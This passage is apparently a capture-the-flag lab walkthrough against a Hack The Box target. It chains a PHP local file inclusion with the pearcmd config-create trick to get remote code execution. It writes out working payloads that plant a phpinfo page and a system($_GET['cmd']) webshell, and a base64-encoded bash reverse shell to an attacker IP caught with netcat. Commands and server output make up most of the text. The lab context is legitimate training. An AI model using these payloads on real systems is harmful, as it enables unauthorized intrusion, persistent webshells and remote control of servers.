CVE-2022-47945


The target web application appears to be vulnerable to CVE-2022-47945 Leveraging the LFI present in the page parameter, it would be possible to achieve RCE

/?page=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?phpinfo();?>+/var/www/itrc/phpinfo.php Switching the parameter to page

┌──(kali㉿kali)-[~/archive/htb/labs/resource]
└─$ curl -i http://itrc.ssg.htb/index.php?page=phpinfo | html2text 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 39400    0 39400    0     0   480k      0 --:--:-- --:--:-- --:--:--  487k
curl: (18) transfer closed with outstanding read data remaining
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 04 Aug 2024 11:42:28
GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked
Connection: keep-alive X-Powered-By: PHP/8.1.29 Set-Cookie:
PHPSESSID=b0b3d7759bae7e0eb7924bc5bc91e9b4; path=/ Expires: Thu, 19 Nov 1981
08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-
cache Vary: Accept-Encoding
 
****** SSG IT Resource Center ******
Register Login
#PEAR_Config 0.9 a:12:{s:7:"php_dir";s:26:"/&/
[PHP logo]
****** PHP Version 8.1.29 ******
                                        Linux itrc 5.15.0-117-generic #127-
System                                  Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024
                                        x86_64
Build Date                              Jul 23 2024 09:10:25
Build System                            Linux - Docker
Build Provider                          https://github.com/docker-library/php
                                        './configure' '--build=x86_64-linux-
                                        gnu' '--with-config-file-path=/usr/
                                        local/etc/php' '--with-config-file-
                                        scan-dir=/usr/local/etc/php/conf.d' '--
                                        enable-option-checking=fatal' '--with-
                                        mhash' '--with-pic' '--enable-ftp' '--
                                        enable-mbstring' '--enable-mysqlnd' '--
Configure Command                       with-password-argon2' '--with-
                                        sodium=shared' '--with-pdo-sqlite=/usr'
                                        '--with-sqlite3=/usr' '--with-curl' '--
                                        with-iconv' '--with-openssl' '--with-
                                        readline' '--with-zlib' '--disable-
                                        phpdbg' '--with-pear' '--with-
                                        libdir=lib/x86_64-linux-gnu' '--
                                        disable-cgi' '--with-apxs2'
                                        'build_alias=x86_64-linux-gnu'
Server API                              Apache 2.0 Handler
Virtual Directory Support               disabled
Configuration File (php.ini) Path       /usr/local/etc/php
Loaded Configuration File               (none)
Scan this dir for additional .ini files /usr/local/etc/php/conf.d
                                        /usr/local/etc/php/conf.d/docker-php-
                                        ext-pdo_mysql.ini, /usr/local/etc/php/
Additional .ini files parsed            conf.d/docker-php-ext-sodium.ini, /usr/
                                        local/etc/php/conf.d/docker-php-ext-
                                        zip.ini, /usr/local/etc/php/conf.d/
                                        sessions.ini
PHP API                                 20210902
PHP Extension                           20210902
Zend Extension                          420210902
Zend Extension Build                    API420210902,NTS
PHP Extension Build                     API20210902,NTS
Debug Build                             no
Thread Safety                           disabled
Zend Signal Handling                    enabled
Zend Memory Manager                     enabled
Zend Multibyte Support                  provided by mbstring
Zend Max Execution Timers               disabled
IPv6 Support                            enabled
DTrace Support                          disabled
Registered PHP Streams                  https, ftps, compress.zlib, php, file,
                                        glob, data, http, ftp, phar, zip
Registered Stream Socket Transports     tcp, udp, unix, udg, ssl, tls, tlsv1.0,
                                        tlsv1.1, tlsv1.2, tlsv1.3
                                        zlib.*, convert.iconv.*, string.rot13,
Registered Stream Filters               string.toupper, string.tolower,
                                        convert.*, consumed, dechunk
[Zend logo]This program makes use of the Zend Scripting Language Engine:
Zend Engine v4.1.29, Copyright (c) Zend Technologies
===============================================================================
****** Configuration ******
***** apache2handler *****
Apache Version       Apache/2.4.61 (Debian)
Apache API Version   20120211
Server Administrator [no address given]
Hostname:Port        itrc.ssg.htb:0
User/Group           www-data(33)/33
Max Requests         Per Child: 0 - Keep Alive: on - Max Per Connection: 100
Timeouts             Connection: 300 - Keep-Alive: 5
Virtual Server       Yes
Server Root          /etc/apache2
                     core mod_so mod_watchdog http_core mod_log_config
                     mod_logio mod_version mod_unixd mod_access_compat
                     mod_alias mod_auth_basic mod_authn_core mod_authn_file
Loaded Modules       mod_authz_core mod_authz_host mod_authz_user mod_autoindex
                     mod_deflate mod_dir mod_env mod_filter mod_mime prefork
                     mod_negotiation mod_php mod_reqtimeout mod_rewrite
                     mod_setenvif mod_status
Directive     Local Value Master Value
engine        On          On
last_modified Off         Off
xbithack      Off         Off
***** Apache Environment *****
Variable              Value
HTTP_HOST             itrc.ssg.htb
HTTP_CONNECTION       close
HTTP_USER_AGENT       curl/8.5.0
HTTP_ACCEPT           */*
PATH                  /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/
                      bin
SERVER_SIGNATURE      <address>Apache/2.4.61 (Debian) Server at itrc.ssg.htb
                      Port 80</address>
SERVER_SOFTWARE       Apache/2.4.61 (Debian)
SERVER_NAME           itrc.ssg.htb
SERVER_ADDR           172.223.0.3
SERVER_PORT           80
REMOTE_ADDR           172.223.0.1
DOCUMENT_ROOT         /var/www/itrc
REQUEST_SCHEME        http
CONTEXT_PREFIX        no value
CONTEXT_DOCUMENT_ROOT /var/www/itrc
SERVER_ADMIN          [no address given]
SCRIPT_FILENAME       /var/www/itrc/index.php
REMOTE_PORT           34710
GATEWAY_INTERFACE     CGI/1.1
SERVER_PROTOCOL       HTTP/1.0
REQUEST_METHOD        GET
QUERY_STRING          page=phpinfo
REQUEST_URI           /index.php?page=phpinfo
SCRIPT_NAME           /index.php
***** HTTP Headers Information *****
HTTP Request Headers
HTTP Request  GET /index.php?page=phpinfo HTTP/1.0
Host          itrc.ssg.htb
Connection    close
User-Agent    curl/8.5.0
Accept        */*
HTTP Response Headers
X-Powered-By  PHP/8.1.29
Set-Cookie    PHPSESSID=b0b3d7759bae7e0eb7924bc5bc91e9b4; path=/
Expires       Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control no-store, no-cache, must-revalidate
Pragma        no-cache
***** Core *****
PHP Version 8.1.29
Directive                           Local Value          Master Value
allow_url_fopen                     On                   On
allow_url_include                   Off                  Off
arg_separator.input                 &                    &
arg_separator.output                &                    &
auto_append_file                    no value             no value
auto_globals_jit                    On                   On
auto_prepend_file                   no value             no value
browscap                            no value             no value
default_charset                     UTF-8                UTF-8
default_mimetype                    text/html            text/html
disable_classes                     no value             no value
disable_functions                   no value             no value
display_errors                      On                   On
display_startup_errors              On                   On
doc_root                            no value             no value
docref_ext                          no value             no value
docref_root                         no value             no value
enable_dl                           On                   On
enable_post_data_reading            On                   On
error_append_string                 no value             no value
error_log                           no value             no value
error_prepend_string                no value             no value
error_reporting                     no value             no value
expose_php                          On                   On
                                    /usr/local/lib/php/  /usr/local/lib/php/
extension_dir                       extensions/no-debug- extensions/no-debug-
                                    non-zts-20210902     non-zts-20210902
fiber.stack_size                    no value             no value
file_uploads                        On                   On
hard_timeout                        2                    2
highlight.comment                   #FF8000              #FF8000
highlight.default                   #0000BB              #0000BB
highlight.html                      #000000              #000000
highlight.keyword                   #007700              #007700
highlight.string                    #DD0000              #DD0000
html_errors                         On                   On
ignore_repeated_errors              Off                  Off
ignore_repeated_source              Off                  Off
ignore_user_abort                   Off                  Off
implicit_flush                      Off                  Off
include_path                        .:/usr/local/lib/php .:/usr/local/lib/php
input_encoding                      no value             no value
internal_encoding                   no value             no value
log_errors                          Off                  Off
mail.add_x_header                   Off                  Off
mail.force_extra_parameters         no value             no value
mail.log                            no value             no value
max_execution_time                  30                   30
max_file_uploads                    20                   20
max_input_nesting_level             64                   64
max_input_time                      -1                   -1
max_input_vars                      1000                 1000
max_multipart_body_parts            -1                   -1
memory_limit                        128M                 128M
open_basedir                        no value             no value
output_buffering                    0                    0
output_encoding                     no value             no value
output_handler                      no value             no value
post_max_size                       8M                   8M
precision                           14                   14
realpath_cache_size                 4096K                4096K
realpath_cache_ttl                  120                  120
register_argc_argv                  On                   On
report_memleaks                     On                   On
report_zend_debug                   Off                  Off
request_order                       no value             no value
sendmail_from                       no value             no value
sendmail_path                       /usr/sbin/sendmail - /usr/sbin/sendmail -
                                    t -i                 t -i
serialize_precision                 -1                   -1
short_open_tag                      On                   On
SMTP                                localhost            localhost
smtp_port                           25                   25
sys_temp_dir                        no value             no value
syslog.facility                     LOG_USER             LOG_USER
syslog.filter                       no-ctrl              no-ctrl
syslog.ident                        php                  php
unserialize_callback_func           no value             no value
upload_max_filesize                 2M                   2M
upload_tmp_dir                      no value             no value
user_dir                            no value             no value
user_ini.cache_ttl                  300                  300
user_ini.filename                   .user.ini            .user.ini
variables_order                     EGPCS                EGPCS
xmlrpc_error_number                 0                    0
xmlrpc_errors                       Off                  Off
zend.assertions                     1                    1
zend.detect_unicode                 On                   On
zend.enable_gc                      On                   On
zend.exception_ignore_args          Off                  Off
zend.exception_string_param_max_len 15                   15
zend.multibyte                      Off                  Off
zend.script_encoding                no value             no value
zend.signal_check                   Off                  Off
***** ctype *****
ctype functions enabled
***** curl *****
cURL support     enabled
cURL Information 7.88.1
Age              10
Features
AsynchDNS        Yes
CharConv         No
Debug            No
GSS-Negotiate    No
IDN              Yes
IPv6             Yes
krb4             No
Largefile        Yes
libz             Yes
NTLM             Yes
NTLMWB           Yes
SPNEGO           Yes
SSL              Yes
SSPI             No
TLS-SRP          Yes
HTTP2            Yes
GSSAPI           Yes
KERBEROS5        Yes
UNIX_SOCKETS     Yes
PSL              Yes
HTTPS_PROXY      Yes
MULTI_SSL        No
BROTLI           Yes
                 dict, file, ftp, ftps, gopher, gophers, http, https, imap,
Protocols        imaps, ldap, ldaps, mqtt, pop3, pop3s, rtmp, rtmpe, rtmps,
                 rtmpt, rtmpte, rtmpts, rtsp, scp, sftp, smb, smbs, smtp,
                 smtps, telnet, tftp
Host             x86_64-pc-linux-gnu
SSL Version      OpenSSL/3.0.13
ZLib Version     1.2.13
libSSH Version   libssh2/1.10.0
Directive   Local Value Master Value
curl.cainfo no value    no value
***** date *****
date/time support                 enabled
timelib version                   2021.19
"Olson" Timezone Database Version 2023.3
Timezone Database                 internal
Default timezone                  UTC
Directive              Local Value Master Value
date.default_latitude  31.7667     31.7667
date.default_longitude 35.2333     35.2333
date.sunrise_zenith    90.833333   90.833333
date.sunset_zenith     90.833333   90.833333
date.timezone          no value    no value
***** dom *****
DOM/XML             enabled
DOM/XML API Version 20031129
libxml Version      2.9.14
HTML Support        enabled
XPath Support       enabled
XPointer Support    enabled
Schema Support      enabled
RelaxNG Support     enabled
***** fileinfo *****
fileinfo support enabled
libmagic         540
***** filter *****
Input Validation and Filtering enabled
Directive            Local Value Master Value
filter.default       unsafe_raw  unsafe_raw
filter.default_flags no value    no value
***** ftp *****
FTP support  enabled
FTPS support enabled
***** hash *****
hash support    enabled
                md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256
                sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160
                ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3
                tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-
Hashing Engines crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164
                fnv1a64 joaat murmur3a murmur3c murmur3f xxh32 xxh64 xxh3
                xxh128 haval128,3 haval160,3 haval192,3 haval224,3 haval256,3
                haval128,4 haval160,4 haval192,4 haval224,4 haval256,4
                haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
MHASH support     Enabled
MHASH API Version Emulated Support
***** iconv *****
iconv support         enabled
iconv implementation  glibc
iconv library version 2.36
Directive               Local Value Master Value
iconv.input_encoding    no value    no value
iconv.internal_encoding no value    no value
iconv.output_encoding   no value    no value
***** json *****
json support enabled
***** libxml *****
libXML support          active
libXML Compiled Version 2.9.14
libXML Loaded Version   20914
libXML streams          enabled
***** mbstring *****
Multibyte Support

It rendered the phpinfo() function

Webshell


/index.php?page=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?system($_GET['cmd']);?>+/var/www/itrc/webshell.php Now I will write a PHP webshell to /var/www/itrc/webshell.php

┌──(kali㉿kali)-[~/archive/htb/labs/resource]
└─$ curl -s 'http://itrc.ssg.htb/index.php?page=webshell&cmd=id' | html2text 
****** SSG IT Resource Center ******
Register Login
#PEAR_Config 0.9 a:13:{s:7:"php_dir";s:37:"/&/uid=33(www-data) gid=33(www-data)
groups=33(www-data) /pear/php";s:8:"data_dir";s:38:"/&/uid=33(www-data) gid=33
(www-data) groups=33(www-data) /pear/data";s:7:"www_dir";s:37:"/&/uid=33(www-
data) gid=33(www-data) groups=33(www-data) /pear/www";s:7:"cfg_dir";s:37:"/&/
uid=33(www-data) gid=33(www-data) groups=33(www-data) /pear/cfg";s:7:
"ext_dir";s:37:"/&/uid=33(www-data) gid=33(www-data) groups=33(www-data) /pear/
ext";s:7:"doc_dir";s:38:"/&/uid=33(www-data) gid=33(www-data) groups=33(www-
data) /pear/docs";s:8:"test_dir";s:39:"/&/uid=33(www-data) gid=33(www-data)
groups=33(www-data) /pear/tests";s:9:"cache_dir";s:39:"/&/uid=33(www-data)
gid=33(www-data) groups=33(www-data) /pear/cache";s:12:"download_dir";s:42:"/&/
uid=33(www-data) gid=33(www-data) groups=33(www-data) /pear/download";s:8:
"temp_dir";s:38:"/&/uid=33(www-data) gid=33(www-data) groups=33(www-data) /
pear/temp";s:7:"bin_dir";s:33:"/&/uid=33(www-data) gid=33(www-data) groups=33
(www-data) /pear";s:7:"man_dir";s:37:"/&/uid=33(www-data) gid=33(www-data)
groups=33(www-data) /pear/man";s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:
{}s:5:"__uri";a:0:{}}}
© 2024 Strategic Solutions Group (SSG) | All rights reserved

RCE confirmed

Reverse Shell


../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?system(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTAuMTAuMTQuMTcyLzk5OTkgMD4mMScK"));?>+/var/www/itrc/shell.php Writing a based64 encoded reverse shell payload into /var/www/itrc/shell.php This will be decoded via the native PHP’s base64_decode() function and executed through the system() function

┌──(kali㉿kali)-[~/archive/htb/labs/resource]
└─$ curl -s 'http://itrc.ssg.htb/index.php?page=webshell&cmd=ls+-la'
 
[...REDACTED...]
 
a:13:{s:7:"php_dir";s:37:"/&/total 120
drwxr-xr-x 1 www-data www-data 4096 Aug  4 12:30 .
drwxr-xr-x 1 www-data www-data 4096 Jul 25 11:28 ..
-rw-rw-r-- 1 www-data www-data 4313 Jan 24  2024 admin.php
drwxrwxr-x 1 www-data www-data 4096 Feb 26 23:18 api
drwxrwxr-x 1 www-data www-data 4096 Jan 22  2024 assets
-rw-rw-r-- 1 www-data www-data  979 Jan 23  2024 create_ticket.php
-rw-rw-r-- 1 www-data www-data  344 Jan 24  2024 dashboard.php
-rw-rw-r-- 1 www-data www-data  308 Jan 22  2024 db.php
-rw-rw-r-- 1 www-data www-data  746 Jan 24  2024 filter.inc.php
-rw-rw-r-- 1 www-data www-data  982 Jan 24  2024 footer.inc.php
-rw-rw-r-- 1 www-data www-data 1869 Jan 24  2024 header.inc.php
-rw-rw-r-- 1 www-data www-data  844 Jan 22  2024 home.php
-rw-rw-r-- 1 www-data www-data  368 Feb 19 18:14 index.php
-rw-rw-r-- 1 www-data www-data  105 Feb 19 18:14 loggedin.php
-rw-rw-r-- 1 www-data www-data  433 Jan 23  2024 login.php
-rw-rw-r-- 1 www-data www-data   73 Jan 22  2024 logout.php
-rw-r--r-- 1 www-data www-data  619 Aug  4 12:14 phpinfo.php
-rw-rw-r-- 1 www-data www-data  566 Jan 23  2024 register.php
-rw-rw-r-- 1 www-data www-data 2225 Feb  6 16:54 savefile.inc.php
-rw-r--r-- 1 www-data www-data 1735 Aug  4 12:30 shell.php
-rw-rw-r-- 1 www-data www-data 4968 Feb  6 17:09 ticket.php
-rw-rw-r-- 1 www-data www-data 1374 Jan 24  2024 ticket_section.inc.php
drwxrwxr-x 1 www-data www-data 4096 Aug  4 12:26 uploads
-rw-r--r-- 1 www-data www-data  819 Aug  4 12:16 webshell.php

I can confirm the file write; /var/www/itrc/shell.php

┌──(kali㉿kali)-[~/archive/htb/labs/resource]
└─$ curl -s 'http://itrc.ssg.htb/index.php?page=shell'

Triggering the reverse shell through LFI on the page parameter

┌──(kali㉿kali)-[~/archive/htb/labs/resource]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.172] from (UNKNOWN) [10.10.11.27] 40546
whoami
www-data
hostname
itrc
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.223.0.3  netmask 255.255.0.0  broadcast 172.223.255.255
        ether 02:42:ac:df:00:03  txqueuelen 0  (Ethernet)
        RX packets 2720637  bytes 250690719 (239.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2218411  bytes 393711959 (375.4 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 17298  bytes 1953929 (1.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 17298  bytes 1953929 (1.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target environment as the www-data account It appears to be a Docker container